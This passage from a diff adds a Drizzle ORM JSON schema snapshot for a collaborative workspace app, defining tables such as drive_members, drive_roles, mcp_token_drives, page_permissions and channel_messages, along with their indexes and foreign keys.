+ "name": "user_mentions_target_user_id_idx",
+ "columns": [
+ {
+ "expression": "targetUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_mentions_sourcePageId_pages_id_fk": {
+ "name": "user_mentions_sourcePageId_pages_id_fk",
+ "tableFrom": "user_mentions",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "sourcePageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "user_mentions_targetUserId_users_id_fk": {
+ "name": "user_mentions_targetUserId_users_id_fk",
+ "tableFrom": "user_mentions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "targetUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "user_mentions_mentionedByUserId_users_id_fk": {
+ "name": "user_mentions_mentionedByUserId_users_id_fk",
+ "tableFrom": "user_mentions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "mentionedByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_agent_members": {
+ "name": "drive_agent_members",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "MemberRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'MEMBER'"
+ },
+ "customRoleId": {
+ "name": "customRoleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "includeContext": {
+ "name": "includeContext",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "addedBy": {
+ "name": "addedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "addedAt": {
+ "name": "addedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "drive_agent_members_drive_id_idx": {
+ "name": "drive_agent_members_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_agent_members_agent_page_id_idx": {
+ "name": "drive_agent_members_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "agentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_agent_members_driveId_drives_id_fk": {
+ "name": "drive_agent_members_driveId_drives_id_fk",
+ "tableFrom": "drive_agent_members",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_agent_members_agentPageId_pages_id_fk": {
+ "name": "drive_agent_members_agentPageId_pages_id_fk",
+ "tableFrom": "drive_agent_members",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_agent_members_customRoleId_drive_roles_id_fk": {
+ "name": "drive_agent_members_customRoleId_drive_roles_id_fk",
+ "tableFrom": "drive_agent_members",
+ "tableTo": "drive_roles",
+ "columnsFrom": [
+ "customRoleId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "drive_agent_members_addedBy_users_id_fk": {
+ "name": "drive_agent_members_addedBy_users_id_fk",
+ "tableFrom": "drive_agent_members",
+ "tableTo": "users",
+ "columnsFrom": [
+ "addedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_agent_members_drive_agent_key": {
+ "name": "drive_agent_members_drive_agent_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "driveId",
+ "agentPageId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_members": {
+ "name": "drive_members",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "MemberRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'MEMBER'"
+ },
+ "customRoleId": {
+ "name": "customRoleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "DriveMemberSource",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'invite'"
+ },
+ "invitedBy": {
+ "name": "invitedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "invitedAt": {
+ "name": "invitedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "acceptedAt": {
+ "name": "acceptedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastAccessedAt": {
+ "name": "lastAccessedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "suspendedByPolicy": {
+ "name": "suspendedByPolicy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_members_suspended_by_policy_idx": {
+ "name": "drive_members_suspended_by_policy_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"drive_members\".\"suspendedByPolicy\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_members_drive_id_idx": {
+ "name": "drive_members_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_members_user_id_idx": {
+ "name": "drive_members_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_members_role_idx": {
+ "name": "drive_members_role_idx",
+ "columns": [
+ {
+ "expression": "role",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_members_custom_role_id_idx": {
+ "name": "drive_members_custom_role_id_idx",
+ "columns": [
+ {
+ "expression": "customRoleId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_members_driveId_drives_id_fk": {
+ "name": "drive_members_driveId_drives_id_fk",
+ "tableFrom": "drive_members",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_members_userId_users_id_fk": {
+ "name": "drive_members_userId_users_id_fk",
+ "tableFrom": "drive_members",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_members_customRoleId_drive_roles_id_fk": {
+ "name": "drive_members_customRoleId_drive_roles_id_fk",
+ "tableFrom": "drive_members",
+ "tableTo": "drive_roles",
+ "columnsFrom": [
+ "customRoleId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "drive_members_invitedBy_users_id_fk": {
+ "name": "drive_members_invitedBy_users_id_fk",
+ "tableFrom": "drive_members",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invitedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_members_drive_user_key": {
+ "name": "drive_members_drive_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "driveId",
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_roles": {
+ "name": "drive_roles",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isDefault": {
+ "name": "isDefault",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "drive_wide_permissions": {
+ "name": "drive_wide_permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "NULL"
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "drive_roles_drive_id_idx": {
+ "name": "drive_roles_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_roles_position_idx": {
+ "name": "drive_roles_position_idx",
+ "columns": [
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_roles_driveId_drives_id_fk": {
+ "name": "drive_roles_driveId_drives_id_fk",
+ "tableFrom": "drive_roles",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_roles_drive_name_key": {
+ "name": "drive_roles_drive_name_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "driveId",
+ "name"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.mcp_token_drives": {
+ "name": "mcp_token_drives",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tokenId": {
+ "name": "tokenId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "MemberRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customRoleId": {
+ "name": "customRoleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "addedBy": {
+ "name": "addedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "mcp_token_drives_token_id_idx": {
+ "name": "mcp_token_drives_token_id_idx",
+ "columns": [
+ {
+ "expression": "tokenId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "mcp_token_drives_drive_id_idx": {
+ "name": "mcp_token_drives_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "mcp_token_drives_token_drive_unique": {
+ "name": "mcp_token_drives_token_drive_unique",
+ "columns": [
+ {
+ "expression": "tokenId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "mcp_token_drives_tokenId_mcp_tokens_id_fk": {
+ "name": "mcp_token_drives_tokenId_mcp_tokens_id_fk",
+ "tableFrom": "mcp_token_drives",
+ "tableTo": "mcp_tokens",
+ "columnsFrom": [
+ "tokenId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mcp_token_drives_driveId_drives_id_fk": {
+ "name": "mcp_token_drives_driveId_drives_id_fk",
+ "tableFrom": "mcp_token_drives",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mcp_token_drives_customRoleId_drive_roles_id_fk": {
+ "name": "mcp_token_drives_customRoleId_drive_roles_id_fk",
+ "tableFrom": "mcp_token_drives",
+ "tableTo": "drive_roles",
+ "columnsFrom": [
+ "customRoleId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "mcp_token_drives_addedBy_users_id_fk": {
+ "name": "mcp_token_drives_addedBy_users_id_fk",
+ "tableFrom": "mcp_token_drives",
+ "tableTo": "users",
+ "columnsFrom": [
+ "addedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.page_permissions": {
+ "name": "page_permissions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "canView": {
+ "name": "canView",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canEdit": {
+ "name": "canEdit",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canShare": {
+ "name": "canShare",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDelete": {
+ "name": "canDelete",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "grantedBy": {
+ "name": "grantedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "grantedAt": {
+ "name": "grantedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "note": {
+ "name": "note",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "page_permissions_page_id_idx": {
+ "name": "page_permissions_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_permissions_user_id_idx": {
+ "name": "page_permissions_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_permissions_expires_at_idx": {
+ "name": "page_permissions_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "page_permissions_pageId_pages_id_fk": {
+ "name": "page_permissions_pageId_pages_id_fk",
+ "tableFrom": "page_permissions",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_permissions_userId_users_id_fk": {
+ "name": "page_permissions_userId_users_id_fk",
+ "tableFrom": "page_permissions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_permissions_grantedBy_users_id_fk": {
+ "name": "page_permissions_grantedBy_users_id_fk",
+ "tableFrom": "page_permissions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "grantedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "page_permissions_page_user_key": {
+ "name": "page_permissions_page_user_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "pageId",
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_profiles": {
+ "name": "user_profiles",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "displayName": {
+ "name": "displayName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "bio": {
+ "name": "bio",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "avatarUrl": {
+ "name": "avatarUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isPublic": {
+ "name": "isPublic",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "user_profiles_is_public_idx": {
+ "name": "user_profiles_is_public_idx",
+ "columns": [
+ {
+ "expression": "isPublic",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_profiles_userId_users_id_fk": {
+ "name": "user_profiles_userId_users_id_fk",
+ "tableFrom": "user_profiles",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.channel_message_attachments": {
+ "name": "channel_message_attachments",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "messageId": {
+ "name": "messageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attachmentMeta": {
+ "name": "attachmentMeta",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "channel_message_attachments_message_position_idx": {
+ "name": "channel_message_attachments_message_position_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "channel_message_attachments_file_id_idx": {
+ "name": "channel_message_attachments_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "channel_message_attachments_messageId_channel_messages_id_fk": {
+ "name": "channel_message_attachments_messageId_channel_messages_id_fk",
+ "tableFrom": "channel_message_attachments",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "messageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_message_attachments_fileId_files_id_fk": {
+ "name": "channel_message_attachments_fileId_files_id_fk",
+ "tableFrom": "channel_message_attachments",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "channel_message_attachments_position_range": {
+ "name": "channel_message_attachments_position_range",
+ "value": "\"channel_message_attachments\".\"position\" >= 0 AND \"channel_message_attachments\".\"position\" < 10"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.channel_message_reactions": {
+ "name": "channel_message_reactions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "messageId": {
+ "name": "messageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emoji": {
+ "name": "emoji",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "unique_reaction_idx": {
+ "name": "unique_reaction_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "emoji",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "reaction_message_idx": {
+ "name": "reaction_message_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "channel_message_reactions_messageId_channel_messages_id_fk": {
+ "name": "channel_message_reactions_messageId_channel_messages_id_fk",
+ "tableFrom": "channel_message_reactions",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "messageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_message_reactions_userId_users_id_fk": {
+ "name": "channel_message_reactions_userId_users_id_fk",
+ "tableFrom": "channel_message_reactions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.channel_messages": {
+ "name": "channel_messages",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attachmentMeta": {
+ "name": "attachmentMeta",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isActive": {
+ "name": "isActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "editedAt": {
+ "name": "editedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiMeta": {
+ "name": "aiMeta",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "parentId": {
+ "name": "parentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replyCount": {
+ "name": "replyCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastReplyAt": {
+ "name": "lastReplyAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mirroredFromId": {
+ "name": "mirroredFromId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "quotedMessageId": {
+ "name": "quotedMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "channel_messages_page_id_idx": {
+ "name": "channel_messages_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "channel_messages_file_id_idx": {
+ "name": "channel_messages_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "channel_messages_parent_created_idx": {
+ "name": "channel_messages_parent_created_idx",
+ "columns": [
+ {
+ "expression": "parentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "channel_messages_quoted_id_idx": {
+ "name": "channel_messages_quoted_id_idx",
+ "columns": [
+ {
+ "expression": "quotedMessageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "channel_messages_pageId_pages_id_fk": {
+ "name": "channel_messages_pageId_pages_id_fk",
+ "tableFrom": "channel_messages",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_messages_userId_users_id_fk": {
+ "name": "channel_messages_userId_users_id_fk",
+ "tableFrom": "channel_messages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_messages_fileId_files_id_fk": {
+ "name": "channel_messages_fileId_files_id_fk",
